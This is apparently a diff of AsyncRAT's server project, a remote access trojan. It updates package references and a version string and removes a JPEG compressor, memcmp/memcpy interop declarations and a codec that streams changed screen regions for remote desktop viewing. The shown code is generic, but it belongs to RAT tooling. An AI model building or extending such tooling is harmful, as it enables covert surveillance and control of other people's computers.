<Reference Include="BouncyCastle.Crypto, Version=1.8.9.0, Culture=neutral, PublicKeyToken=0e99375e54769942"> <Reference Include="BouncyCastle.Crypto, Version=1.8.6.0, Culture=neutral, PublicKeyToken=0e99375e54769942">
<HintPath>..\packages\BouncyCastle.1.8.9\lib\BouncyCastle.Crypto.dll</HintPath> <HintPath>..\packages\BouncyCastle.1.8.6.1\lib\BouncyCastle.Crypto.dll</HintPath>
</Reference> </Reference>
<Reference Include="cGeoIp, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL"> <Reference Include="cGeoIp, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion> <SpecificVersion>False</SpecificVersion>
@ -56,8 +56,8 @@
<Reference Include="Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL"> <Reference Include="Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
<HintPath>..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath> <HintPath>..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
</Reference> </Reference>
<Reference Include="dnlib, Version=4.2.0.0, Culture=neutral, PublicKeyToken=50e96378b6e77999, processorArchitecture=MSIL"> <Reference Include="dnlib, Version=3.3.2.0, Culture=neutral, PublicKeyToken=50e96378b6e77999, processorArchitecture=MSIL">
<HintPath>..\packages\dnlib.4.2.0\lib\net45\dnlib.dll</HintPath> <HintPath>..\packages\dnlib.3.3.2\lib\net45\dnlib.dll</HintPath>
</Reference> </Reference>
<Reference Include="FastColoredTextBox, Version=2.16.24.0, Culture=neutral, PublicKeyToken=fb8aa12b994ef61b, processorArchitecture=MSIL"> <Reference Include="FastColoredTextBox, Version=2.16.24.0, Culture=neutral, PublicKeyToken=fb8aa12b994ef61b, processorArchitecture=MSIL">
<HintPath>..\packages\FCTB.2.16.24\lib\FastColoredTextBox.dll</HintPath> <HintPath>..\packages\FCTB.2.16.24\lib\FastColoredTextBox.dll</HintPath>
@ -268,9 +268,13 @@
<Compile Include="Settings.cs" /> <Compile Include="Settings.cs" />
<Compile Include="Connection\Clients.cs" /> <Compile Include="Connection\Clients.cs" />
<Compile Include="Connection\Listener.cs" /> <Compile Include="Connection\Listener.cs" />
<Compile Include="StreamLibrary\JpgCompression.cs" /> <Compile Include="StreamLibrary\Enums.cs" />
<Compile Include="StreamLibrary\NativeMethods.cs" /> <Compile Include="StreamLibrary\IUnsafeCodec.cs" />
<Compile Include="StreamLibrary\UnsafeStreamCodec.cs" /> <Compile Include="StreamLibrary\IVideoCodec.cs" />
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
<EmbeddedResource Include="Forms\FormAbout.resx"> <EmbeddedResource Include="Forms\FormAbout.resx">
<DependentUpon>FormAbout.cs</DependentUpon> <DependentUpon>FormAbout.cs</DependentUpon>
</EmbeddedResource> </EmbeddedResource>

View File

@ -19,7 +19,7 @@ namespace Server
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
public static X509Certificate2 ServerCertificate; public static X509Certificate2 ServerCertificate;
public static readonly string Version = "AsyncRAT 0.5.8"; public static readonly string Version = "AsyncRAT 0.5.7B";
public static object LockListviewClients = new object(); public static object LockListviewClients = new object();
public static object LockListviewLogs = new object(); public static object LockListviewLogs = new object();
public static object LockListviewThumb = new object(); public static object LockListviewThumb = new object();

View File

@ -1,72 +0,0 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Server.StreamLibrary
{
public class JpgCompression : IDisposable
{
private readonly ImageCodecInfo _encoderInfo;
private readonly EncoderParameters _encoderParams;
public JpgCompression(long quality)
{
EncoderParameter parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
this._encoderInfo = GetEncoderInfo("image/jpeg");
this._encoderParams = new EncoderParameters(2);
this._encoderParams.Param[0] = parameter;
this._encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionRle);
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
if (_encoderParams != null)
{
_encoderParams.Dispose();
}
}
}
public byte[] Compress(Bitmap bmp)
{
using (MemoryStream stream = new MemoryStream())
{
bmp.Save(stream, _encoderInfo, _encoderParams);
return stream.ToArray();
}
}
public void Compress(Bitmap bmp, ref Stream targetStream)
{
bmp.Save(targetStream, _encoderInfo, _encoderParams);
}
private ImageCodecInfo GetEncoderInfo(string mimeType)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
int num2 = imageEncoders.Length - 1;
for (int i = 0; i <= num2; i++)
{
if (imageEncoders[i].MimeType == mimeType)
{
return imageEncoders[i];
}
}
return null;
}
}
}

View File

@ -1,21 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Server.StreamLibrary
{
public static class NativeMethods
{
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern unsafe int memcpy(void* dst, void* src, uint count);
}
}

View File

@ -1,378 +0,0 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Server.StreamLibrary
{
public class UnsafeStreamCodec : IDisposable
{
internal Size Resolution { get; private set; }
internal Size CheckBlock { get; private set; }
internal int ImageQuality
{
get { return _imageQuality; }
private set
{
lock (_imageProcessLock)
{
_imageQuality = value;
if (_jpgCompression != null)
{
_jpgCompression.Dispose();
}
_jpgCompression = new JpgCompression(_imageQuality);
}
}
}
private int _imageQuality;
private byte[] _encodeBuffer;
private Bitmap _decodedBitmap;
private PixelFormat _encodedFormat;
private int _encodedWidth;
private int _encodedHeight;
private readonly object _imageProcessLock = new object();
private JpgCompression _jpgCompression;
/// <summary>
/// Initialize a new instance of UnsafeStreamCodec class.
/// </summary>
/// <param name="imageQuality">The quality to use between 0-100.</param>
/// <param name="monitor">The monitor used for the images.</param>
/// <param name="resolution">The resolution of the monitor.</param>
internal UnsafeStreamCodec(int imageQuality)
{
this.ImageQuality = imageQuality;
this.CheckBlock = new Size(50, 1);
}
public void Dispose()
{
Dispose(true);
// Tell the Garbage Collector to not waste time finalizing this object
// since we took care of it.
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
if (_decodedBitmap != null)
{
_decodedBitmap.Dispose();
}
if (_jpgCompression != null)
{
_jpgCompression.Dispose();
}
}
}
internal unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format,
Stream outStream)
{
lock (_imageProcessLock)
{
byte* pScan0;
if (IntPtr.Size == 8)
{
// 64 bit process
pScan0 = (byte*)scan0.ToInt64();
}
else
{
// 32 bit process
pScan0 = (byte*)scan0.ToInt32();
}
if (!outStream.CanWrite)
{
throw new Exception("Must have access to Write in the Stream");
}
int stride = 0;
int rawLength = 0;
int pixelSize = 0;
switch (format)
{
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
pixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
pixelSize = 4;
break;
default:
throw new NotSupportedException(format.ToString());
}
stride = imageSize.Width * pixelSize;
rawLength = stride * imageSize.Height;
if (_encodeBuffer == null)
{
this._encodedFormat = format;
this._encodedWidth = imageSize.Width;
this._encodedHeight = imageSize.Height;
this._encodeBuffer = new byte[rawLength];
fixed (byte* ptr = _encodeBuffer)
{
byte[] temp = null;
using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0))
{
temp = _jpgCompression.Compress(tmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength);
}
return;
}
if (this._encodedFormat != format)
{
throw new Exception("PixelFormat is not equal to previous Bitmap");
}
else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
{
throw new Exception("Bitmap width/height are not equal to previous bitmap");
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
long totalDataLength = 0;
List<Rectangle> blocks = new List<Rectangle>();
Size s = new Size(scanArea.Width, CheckBlock.Height);
Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height);
int lasty = scanArea.Height - lastSize.Height;
int lastx = scanArea.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
List<Rectangle> finalUpdates = new List<Rectangle>();
s = new Size(scanArea.Width, s.Height);
fixed (byte* encBuffer = _encodeBuffer)
{
var index = 0;
for (int y = scanArea.Y; y != scanArea.Height; y += s.Height)
{
if (y == lasty)
{
s = new Size(scanArea.Width, lastSize.Height);
}
cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height);
int offset = (y * stride) + (scanArea.X * pixelSize);
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0)
{
index = blocks.Count - 1;
if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width,
blocks[index].Height + cBlock.Height);
blocks[index] = cBlock;
}
else
{
blocks.Add(cBlock);
}
}
}
for (int i = 0; i < blocks.Count; i++)
{
s = new Size(CheckBlock.Width, blocks[i].Height);
for (int x = scanArea.X; x != scanArea.Width; x += s.Width)
{
if (x == lastx)
{
s = new Size(lastSize.Width, blocks[i].Height);
}
cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height);
bool foundChanges = false;
uint blockStride = (uint)(pixelSize * cBlock.Width);
for (int j = 0; j < cBlock.Height; j++)
{
int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X);
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0)
{
foundChanges = true;
}
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride);
//copy-changes
}
if (foundChanges)
{
index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 &&
(finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
}
}
}
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = pixelSize * rect.Width;
Bitmap tmpBmp = null;
BitmapData tmpData = null;
long length;
try
{
tmpBmp = new Bitmap(rect.Width, rect.Height, format);
tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height),
ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X);
NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride);
//copy-changes
offset += blockStride;
}
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
length = outStream.Length;
long old = outStream.Position;
_jpgCompression.Compress(tmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = old - 4;
outStream.Write(BitConverter.GetBytes(length), 0, 4);
outStream.Position += length;
}
finally
{
tmpBmp.UnlockBits(tmpData);
tmpBmp.Dispose();
}
totalDataLength += length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4);
}
}
internal unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length)
{
if (length < 4)
{
return _decodedBitmap;
}
int dataSize = *(int*)(codecBuffer);
if (_decodedBitmap == null)
{
byte[] temp = new byte[dataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize);
}
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return _decodedBitmap;
}
else
{
return _decodedBitmap;
}
}
internal Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int dataSize = BitConverter.ToInt32(temp, 0);
if (_decodedBitmap == null)
{
temp = new byte[dataSize];
inStream.Read(temp, 0, temp.Length);
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return _decodedBitmap;
}
using (Graphics g = Graphics.FromImage(_decodedBitmap))
{
while (dataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int updateLen = BitConverter.ToInt32(tempData, 16);
byte[] buffer = new byte[updateLen];
inStream.Read(buffer, 0, buffer.Length);
using (MemoryStream m = new MemoryStream(buffer))
{
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
{
g.DrawImage(tmp, rect.Location);
}
}
dataSize -= updateLen + (4 * 5);
}
}
Resolution = _decodedBitmap.Size;
return _decodedBitmap;
}
}
}

View File

@ -1,8 +1,8 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<packages> <packages>
<package id="BouncyCastle" version="1.8.9" targetFramework="net46" /> <package id="BouncyCastle" version="1.8.6.1" targetFramework="net46" />
<package id="Costura.Fody" version="4.1.0" targetFramework="net46" /> <package id="Costura.Fody" version="4.1.0" targetFramework="net46" />
<package id="dnlib" version="4.2.0" targetFramework="net46" /> <package id="dnlib" version="3.3.2" targetFramework="net46" />
<package id="FCTB" version="2.16.24" targetFramework="net46" /> <package id="FCTB" version="2.16.24" targetFramework="net46" />
<package id="Fody" version="6.0.0" targetFramework="net46" developmentDependency="true" /> <package id="Fody" version="6.0.0" targetFramework="net46" developmentDependency="true" />
<package id="Vestris.ResourceLib" version="2.1.0" targetFramework="net46" /> <package id="Vestris.ResourceLib" version="2.1.0" targetFramework="net46" />